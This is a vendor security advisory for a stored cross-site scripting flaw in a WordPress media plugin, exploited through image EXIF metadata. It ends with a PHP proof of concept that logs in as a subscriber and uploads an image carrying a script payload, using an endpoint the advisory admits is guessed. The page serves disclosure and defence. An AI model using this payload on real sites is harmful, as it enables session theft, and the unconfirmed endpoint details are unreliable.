Published : November 22, 2026

CVE-2026-120738: Organize Media Folder <= 2.00 Authenticated (Subscriber+) Stored Cross-Site Scripting via EXIF 'DateTimeOriginal' Metadata PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.00
Patched Version —
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120738 (metadata-based): The Organize Media Folder plugin for WordPress up to version 2.00 is vulnerable to authenticated stored cross-site scripting. The flaw resides in the handling of EXIF ‘DateTimeOriginal’ metadata. Attackers with subscriber-level access and above can inject arbitrary web scripts that execute when a user views an injected page. The CVSS score is 6.4 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

Root Cause: Atomic Edge analysis infers that the plugin fails to properly sanitize the EXIF ‘DateTimeOriginal’ field when processing uploaded images and fails to escape it when rendering output. The description confirms insufficient input sanitization and output escaping. This is a stored XSS vulnerability because the malicious metadata persists in the uploaded file and is later rendered in an administrative or public page. The description also states that the payload bypasses wp_filter_post_kses, meaning the plugin likely inserts the metadata into post content without applying the standard KSES filters, allowing the payload to survive even for users without the unfiltered_html capability. The specific vulnerable code is not available for review, so these conclusions are based on the CWE and description.

Exploitation: An attacker with subscriber-level access (or author-level on default installations) uploads an image file with a crafted EXIF ‘DateTimeOriginal’ field containing a JavaScript payload, such as alert(document.cookie). The plugin processes the upload, likely through a front-end attachment-upload integration (e.g., bbPress with gd-bbpress-attachments) or the standard WordPress media upload. The payload is stored as part of the attachment metadata and may be included in the caption template via the %created_timestamp% placeholder. When a victim (e.g., an administrator) views the media library, a post containing the attachment, or a front-end page that displays the image metadata, the script executes. The exact endpoint (e.g., admin-ajax.php with a specific action) is not named in the metadata, but the attack vector is via file upload with malicious EXIF data.

Remediation: The fix likely requires sanitizing the EXIF ‘DateTimeOriginal’ field on input, using functions like sanitize_text_field or wp_kses with a restrictive allowlist. On output, the plugin must escape the value with esc_html or esc_attr before rendering. The patch version 2.01 presumably addresses these issues. Developers should also ensure that all metadata fields are validated and that KSES filters are applied where appropriate. Atomic Edge research recommends updating to version 2.01 or later.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of sensitive information, or actions performed on behalf of the victim (e.g., creating administrative accounts). The scope is changed because the payload executes in the context of the victim’s session, potentially affecting other users. The confidentiality and integrity impact are low, but the vulnerability is easily exploitable and requires only low privileges.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-120738 - Organize Media Folder <= 2.00 - Authenticated (Subscriber+) Stored Cross-Site Scripting via EXIF 'DateTimeOriginal' Metadata

// This PoC assumes the attacker has subscriber-level credentials and that a front-end upload form (e.g., bbPress with gd-bbpress-attachments) is available.
// The exact endpoint and parameters are inferred from the vulnerability description.

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password

// Step 1: Log in to obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Craft a malicious image with XSS payload in EXIF DateTimeOriginal
// We create a minimal JPEG with EXIF data. In a real attack, use a library like PHP-Exif or a crafted binary.
// For simplicity, we assume the attacker has a pre-crafted image file 'malicious.jpg' with EXIF DateTimeOriginal set to <script>alert(document.cookie)</script>.
// Alternatively, the payload could be injected via a POST parameter if the plugin accepts it directly.

// Step 3: Upload the image via the front-end form (e.g., bbPress attachment upload)
// The exact endpoint is unknown; we assume it is admin-ajax.php with an action related to the plugin, or a bbPress handler.
// Based on the plugin slug, a likely action is 'organize_media_folder_upload' or similar, but this is unconfirmed.
// We will attempt a generic upload to admin-ajax.php with action 'upload_attachment' (common for bbPress).

$file_path = 'malicious.jpg'; // Path to crafted image
$post_fields = [
    'action' => 'bbp_upload_attachment', // Example action for bbPress forum attachments
    'bbp_attachment' => new CURLFile($file_path, 'image/jpeg', 'malicious.jpg')
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Upload response: " . $response . "n";

// Step 4: Trigger the XSS by visiting a page that displays the attachment metadata.
// The victim (admin) must view the page. The attacker could post a forum topic with the attachment.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.